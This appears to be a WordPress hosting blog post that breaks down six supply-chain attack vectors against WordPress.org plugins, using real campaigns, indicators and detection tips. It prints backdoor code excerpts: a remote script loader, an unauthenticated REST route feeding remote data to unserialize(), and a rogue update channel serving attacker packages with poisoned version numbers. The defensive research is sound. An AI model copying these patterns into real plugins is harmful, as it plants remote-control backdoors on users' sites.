Before this year, if you had asked me what a supply chain attack was, I’m not sure I could have given you a straight answer. My focus is WordPress hosting and maintenance. That means keeping my customers’ sites safe and running, but it does not make me a security researcher. Then over the last several months, through AI-assisted security audits and a string of discoveries about bad actors working in the WordPress space, I started pulling these attacks apart one by one. The plugins are different, the operators are different, the payloads are different. But the methods used can be explained in the following ways.

Today we’re looking at the six ways an attacker turns a WordPress.org plugin into a foothold on your site, each one drawn from a real campaign I have traced, with the code that made it work. And one of the six is fundamentally different from the rest, because the malicious code never travels through WordPress.org at all.

First, the scale of the problem.

44
Plugins, one operator
30+
Bought to be backdoored
~20k
Sites on one side channel
13 yrs
Hidden in plain sight

Those four numbers come from four different investigations, and not one of them was caught by a vulnerability feed. They were caught by reading code, hashing files, and watching what sites actually did. Here is the full overview on one screen, and then a section on each, with the code.

The six ways in

Every WordPress.org supply-chain attack I have investigated uses at least one of these. The sophisticated operations chain several together. Buy a plugin, ship a dormant payload, and detonate it through a side channel weeks later.

How an attacker gets code onto your site
PLANT
Backdoor a brand-new plugin
Publish a plugin that is hostile from its very first commit. A “security” or “captcha” name is the cover. The payload ships on day one to every site that installs it.
DetectRead what closed plugins actually shipped. A captcha plugin has no reason to carry a compressed .dat blob.
HIJACK
Turn a trusted plugin against its users
The committer who already holds the keys is the threat. A plugin runs clean for years, then the same hands that built it ship a poisoned release and scrub the evidence from trunk, so the public listing reads clean while installed copies stay infected.
DetectDiff a new release against the last known-clean version. A commit that strips code from trunk but leaves it in shipped releases is the tell.
TAKEOVER
Take over the author’s account
Steal the password, or re-register an author’s expired domain and reset their wp.org email. Now you own a trusted plugin and its whole install base before writing a line of new code.
DetectWatch long-dormant plugins that suddenly ship a major rewrite from a new contributor.
ACQUIRE
Buy the plugin, then weaponize it
No exploit required. Buy an established plugin on a marketplace like Flippa and inherit the commit bit, the installs, and the trust. The first commit under new ownership is the backdoor.
DetectTrack ownership changes; diff the first release under new control against the last under the old.
SIDE-CHANNEL
Register a rogue update channel
Point the plugin’s own updater at a domain you control. wp.org reviews the code that ships once. Your server decides what ships forever after, and the payload never passes review.
DetectGrep for self-hosted update checkers and update_plugins filters pointing anywhere but api.wordpress.org.
TIME-BOMB
Ship clean, detonate later
Lie dormant for months to clear review, then activate through an already-approved update or the side channel. Pair it with a poisoned version number so the real fix never auto-installs.
DetectDaily homepage diffing catches the detonation even when the code looked benign at review time.

1. Plant a backdoor in a brand-new plugin

The simplest move is also the oldest: publish a plugin whose only real job is to compromise the sites that install it. The wrapper is whatever sounds trustworthy. A captcha, an antivirus, a firewall. The payload rides along from the first release.

I found the clearest example of this by accident. The wp.org Plugin Review Team had not just closed a plugin called wp-advanced-math-captcha; they had reached in and deleted a single 7 KB binary, a .dat file. Routine closures do not touch random binaries. So I decoded it.

python3 -c "import zlib; print(zlib.decompress(open('wp-math-captcha.dat','rb').read()).decode())"

Out came PHP. A dropper, with a comment block that told me exactly what I was looking at.

/**
 * SiteGuarding tools installer for customer's panel
 * https://www.siteguarding.com
 * Do not distribute or share.
 *
 * ver.: 1.7
 * Date: 20 Mar 2020
 */

The dropper carried a base64 copy of a 482-line backdoor called siteguarding_tools.php. On install it wrote the backdoor into the WordPress root, posted the site URL to a SiteGuarding endpoint to register the new infection, and then deleted itself. A captcha plugin with thousands of active installs was quietly planting a remote-access tool on every site that ran it.

One DNS lookup turned a single bad plugin into a thirteen-year operation. A 2025 “burner” brand it pointed at, cmsplughub.com, was running on SiteGuarding’s own nameservers and the same IP, 198.7.59.167. Pulling that thread surfaced 44 plugins across 19 accounts, all the way back to 2013, tied together by shared infrastructure and a byte-identical backdoor.

A captcha plugin has no reason to ship a binary
I almost scrolled past the closure like I do with hundreds of others. The signal was a binary in a plugin that had no reason to ship one. When a closed plugin carries a compressed .dat, .gzs, or .key file, that’s enough to dig deeper.
The full investigation
I documented the whole SiteGuarding operation in From a 7 KB file to a 13-year backdoor operation. It walks through all 44 plugins, the backdoor source, the DNS pivot, and the dissolved Cyprus shell company behind it.

2. Poison a release from the inside

Sometimes the threat is the committer who already holds the keys. A plugin runs clean for years, then the same author who built it ships a poisoned release. No account was stolen and nothing changed hands. The trust was always real, and that is what makes it work. The next two vectors are outsiders getting that same access, by theft or by purchase. This one is the insider who already had it.

The Quick Page/Post Redirect Plugin, with around 70,000 active installs, is the textbook case. My monitoring flagged version 5.2.3 across twelve sites, and the files did not match. Same version string as wordpress.org, completely different hash.

Quick Page/Post Redirect 5.2.3, same version, different file
Hashdd41c767c074cd280acae37b61f2f059The 5.2.3 published on wordpress.org.
Hashad717da18cf8a2b69899c0d7dafee05aThe 5.2.3 that was actually installed on twelve of my sites.
Domainanadnet.comRogue update source: anadnet.com/updates/.
Domainw.anadnet.comContent-injection C2: w.anadnet.com/bro/3/.

The tampered build carried two backdoors. The first was content injection, hooked into the main loop and gated so only logged-out visitors ever saw it.

function filter_the_content_in_the_main_loop( $content ) {
    if ( ( is_single() || is_singular() || is_page() )
        && ( ! is_user_logged_in() ) && is_main_query() ) {
        // fetch a payload from w.anadnet.com/bro/3/ and prepend it to $content.
        // gate on !is_user_logged_in() so a logged-in admin never sees the injection.
    }
    return $content;
}

The second was a rogue update channel, the mechanism we pull apart in vector 5: a bundled copy of the Plugin Update Checker library wired to anadnet.com/updates/, so whatever that server returned would install with full plugin-author permissions. What marks this as an inside job is the commit history. The attacker tagged that updater into releases, then scrubbed it from trunk months later, so the public listing read clean while installed copies stayed wired to the backdoor. A trusted committer abusing their own access and hiding the evidence in plain sight.

Oct 28, 2020
A self-updater pointing at anadnet.com/updates/ is committed and tagged into 5.2.1 and 5.2.2.
Feb 14, 2021
A commit titled “Remove pro updater folder” scrubs the updater from trunk. But only from trunk.
Mar 10, 2021
The tampered 5.2.3 ships from anadnet.com. Same version string as wp.org, different MD5. Twelve of my sites pull it over the next week.
2021 to 2026
The backdoor sits dormant. w.anadnet.com goes NXDOMAIN and the injection fails silently, waiting for the subdomain to point back.
Apr 14, 2026
wp.org closes the plugin. Five years after the backdoor shipped, and only after my report.
The full investigation
The dormant backdoor, the Wayback evidence of injected backlinks, and the one-line fleet fix are in WordPress plugin hijacked in 2020 hid a dormant backdoor for years.

3. Take over the author’s account

You do not have to write malware to ship malware. Sometimes the cheapest path is to take over the account that already holds the trust. Two routes show up again and again: steal the credential, or wait for the author’s domain to lapse, re-register it, and reset their wp.org email through it. Abandoned plugins are the prime targets, because nobody is watching them.

Widget Logic fits the pattern exactly. Alan Trewartha published it in 2008; it reached more than three million downloads and then sat untouched after 2015. On June 6, 2024, someone registered the domain widgetlogic.org, and two months later a rebuilt version 6.0.0 appeared with a new “Live Match Widget” that loaded external JavaScript on every front-end page.

add_action( 'wp_enqueue_scripts', function () {
    $cfg = require 'widget_cfg.php';      // { base: 'https://widgetlogic.org/', ver: 'v2' }
    $t   = time();
    $t   = $t - $t % ( 12 * 60 * 60 );    // round to a 12-hour cache-bust window
    wp_enqueue_script(
        'widget-logic_live_match_widget',
        "{$cfg['base']}{$cfg['ver']}/js/data.js?t={$t}",
        array(), '6.0.0', true             // loads on every front-end page view
    );
} );

On the day I caught it, that script was serving a football widget. That is the whole danger: the payload is fetched fresh from the operator’s server on every page load, so the difference between a sports widget and a credit-card skimmer is one line of code on their end, pushed whenever they choose. A three-million-download plugin became a remotely-controlled script loader the moment its dormant account changed hands.

The full investigation
How a daily homepage diff surfaced the injected script, and the version trick that kept the fix from landing, is in How I caught a WordPress plugin supply chain attack.

4. Buy the plugin, then weaponize it

The most unsettling version of all needs no exploit, no stolen password, and no expired domain. The attacker simply buys the plugin. A marketplace listing changes hands, the commit bit transfers with it, and a decade of accumulated trust and install base comes along for free.

An Essential Plugins portfolio of more than thirty plugins, built over a decade by an India-based team, was sold to a single buyer on Flippa. The buyer’s very first SVN commit was the backdoor. The mechanism avoided every obvious signature: pull a remote payload, hand it to unserialize(), and let object instantiation do the work, all triggerable through an unauthenticated REST route.

// Pull a remote payload and instantiate it. There is no eval() to flag.
function fetch_ver_info( $url ) {
    $raw = file_get_contents( $url );    // attacker-controlled endpoint
    return @unserialize( $raw );         // object instantiation runs the gadget chain
}

// ...and let anyone on the internet trigger it. permission_callback is wide open.
register_rest_route( 'wpos/v1', '/analytics', array(
    'methods'             => 'POST',
    'callback'            => 'version_info_clean',
    'permission_callback' => '__return_true',
) );

It stayed dormant for eight months inside a wpos-analytics module that had looked innocent since 2015, then detonated. It injected into wp-config.php, served spam to search-engine crawlers, and resolved its command server through an Ethereum smart contract so there was no domain to take down.

The same pattern shows up in a different sale. The Scroll To Top plugin, around 20,000 installs, was sold by its original author in 2023. The new operator got SVN access and shipped a hidden update channel. One purchase, twenty thousand sites, no exploit anywhere in the chain.

5. Register a rogue update channel you cannot scan for

The first four vectors are about who gets to ship code. This one is about what you do once you can, and it is the move that breaks scanning. Every other vector eventually puts malicious code into a file on disk that a scanner can read. This one does not have to. We have already seen it in action: the bundled updater inside Quick Page/Post Redirect, wired to anadnet.com, was exactly this. Here is the mechanism in full.

WordPress lets a plugin tell WordPress where to look for its own updates. Point that at a domain you own, and you have built a private distribution channel that bypasses the review team entirely. The plugin on disk only ever contains the plumbing.

// The plugin tells WordPress to fetch its updates from somewhere other than wp.org.
$checker = Puc_v4_Factory::buildUpdateChecker(
    'https://updates.cdnstaticsync.com/?slug=scroll-top',
    __FILE__,                                 // the plugin file PUC watches, not a URL
    'scroll-top'
);

Or filter the update transient directly, advertise a version number higher than the one on wp.org, and hand WordPress a package URL you control.

add_filter( 'site_transient_update_plugins', function ( $transient ) {
    $info = json_decode( wp_remote_retrieve_body(
        wp_remote_get( 'https://updates.cdnstaticsync.com/meta.json' )
    ) );
    // The remote advertises "version": "1.5.5", which beats wp.org's 1.5.3,
    // so WordPress offers it as an update on the normal auto-update cycle.
    $transient->response['scroll-top/scroll-top.php'] = (object) array(
        'new_version' => $info->version,
        'package'     => $info->download_url,   // an attacker-controlled .zip
    );
    return $transient;
} );

Once package is an attacker URL, WordPress downloads and installs whatever sits there with full plugin-author permissions, on the normal auto-update cycle, across every site at once. And to make sure the legitimate fix never catches up, the attacker poisons the version number itself.

// PHP treats each dot-segment as an integer, so the leading zero is dropped:
// "6.08" becomes 6.8, which sorts ABOVE the real fix at 6.0.9.
version_compare( '6.08', '6.0.9' );   //  1  → the malicious build looks newer
version_compare( '6.07', '6.0.9' );   //  1  → so the patch is never auto-installed
Why static scanning misses this
The code on disk is honest. “Fetch a URL and install what it returns” is exactly what a legitimate self-hosted updater does. Anchor Blocks, the plugin rendering this very post, uses one for the same reason. The malice is not in the plugin. It lives in the response the server sends, and only at the moment it decides to send it. A scanner reading files sees benign plumbing. By the time the weapon arrives, it is already installed.

So if the files do not betray it, how do you find a side channel? You stop trusting the version string and start looking at where the plugin actually phones for updates.

Claude Code Session
Austin
A plugin on one site reports the same version as wordpress.org, but verify-checksums says the files don’t match. If the malware isn’t a version behind, where is it hiding?
Claude
Most likely in a self-hosted update channel. The plugin is pulling its own updates from somewhere other than wp.org. Grep for it: grep -rEn "site_transient_update_plugins|pre_set_site_transient|buildUpdateChecker|update_uri" wp-content/plugins/SLUG. A legitimate plugin points those at api.wordpress.org or a vendor domain you recognize. A hijacked one points at a domain registered a few weeks before the bad release. Check the registration date of whatever host it finds.

6. Ship clean, detonate later

Dormancy is not a vector on its own. It is a force multiplier that makes the other five survive review. The code that gets approved is benign. The malice arrives later, through an already-approved update or the side channel. The Essential Plugins backdoor waited eight months. The SiteGuarding antivirus plugin phoned home from 2014, ready to be upgraded into something worse at any time. The Quick Page/Post Redirect injection sat dormant for five years because a subdomain went dark, not because anyone removed it.

Paired with version-number poisoning, dormancy becomes durable. The payload clears review by doing nothing, then detonates, and the poisoned version number guarantees the patched release can never auto-install over the top of it. The cleanup ships and the backdoor simply outranks it.

What actually catches it

None of these were caught by a vulnerability feed, because a feed describes known bugs in known versions, and a supply-chain attack is a clean version that turned hostile after it was published. Three things consistently work, and they are not the ones people reach for first.

How many of the six vectors each method catches
Daily homepage diffing
6 / 6
Fleet-wide file hashing
5 / 6
Reading closed-plugin source
4 / 6
Version & vulnerability feeds
1 / 6

Hash the files; do not trust the version. A tampered 5.2.3 fails a checksum comparison even though its version string is identical to the real one. This is the single defense that would have caught the update hijack, the side channel, and the plant.

# Compares every installed file against the hashes wp.org publishes.
# A tampered 5.2.3 fails this even though its version string says 5.2.3.
wp plugin verify-checksums quick-pagepost-redirect-plugin

# Run it across an entire fleet, one environment at a time

Watch what the site does, every day. A side channel hides from a file scan, but the moment its server decides to inject a script or a redirect, the rendered page changes. Daily homepage diffing caught both the Widget Logic script and the Quick Page/Post Redirect injection. It is the one method that does not care where the payload came from, only that the site started behaving differently.

Read the plugins wp.org closes. A forced file deletion inside a closure is a signal that the review team found something real. That single observation, a deleted 7 KB .dat, is what unspooled a thirteen-year operation.

The working doctrine
Hash the files, watch the site, and read the weird closures. Version numbers and vulnerability feeds will tell you about yesterday’s known bugs. They will not tell you that a plugin you trusted changed hands last month.

This is getting harder for them, not easier.

The attacker’s real advantage was never the exploit. It was that almost nobody was looking closely. That part is changing. We all now have the power to take a closer look.

Every one of these investigations started with an AI-assisted audit, reading code at a depth and speed previously not possible. It gets stronger the more of us that do the same. I run these hunts across my own fleet, and every host that runs the same checks for variant plugins and rebranded campaigns makes the next operation easier to unravel. Bad actors remain hidden when no one is hunting for them. When the whole industry starts hashing files and diffing pages they have no where to hide.

And detection is only half of it. The same code scanning that catches a planted backdoor can increasingly fix a large share of the underlying flaws before anyone gets to weaponize them.

It’s the web hosts with large customer bases who hold the real power, not the security companies. What could a business like GoDaddy uncover if they go hunting for bad plugins across their ~5 million WordPress customers? How many more bad plugins would lead them to bad actors? The potential to help everyone would be immeasurable.

The thing all six have in common

WordPress.org can review the code a plugin ships. It cannot review external requests to that plugin. It cannot audit a buyer’s intentions. It cannot re-check a version that was genuinely clean the day it was approved. The repository is a snapshot; an attack is a movie. Every one of these six lives in the gap between the moment of review and the moment of execution.

That gap is not going away, so the defense cannot live at wp.org alone. It has to live where the code actually runs. On your sites, watching for the version that no longer matches its hash and the page that no longer matches yesterday’s. Do not trust the version number. The repository tells you what a plugin was. Only your own monitoring tells you what it is.

Read the full investigations
Each of the six is one campaign pulled apart in detail, with code, indicators, and the disclosure trail: the 13-year SiteGuarding operation, the 2020 update hijack, the Widget Logic revival, the 30-plugin Flippa purchase, and the sold plugin with a hidden update channel. More security research lives at anchor.host/tag/security-research.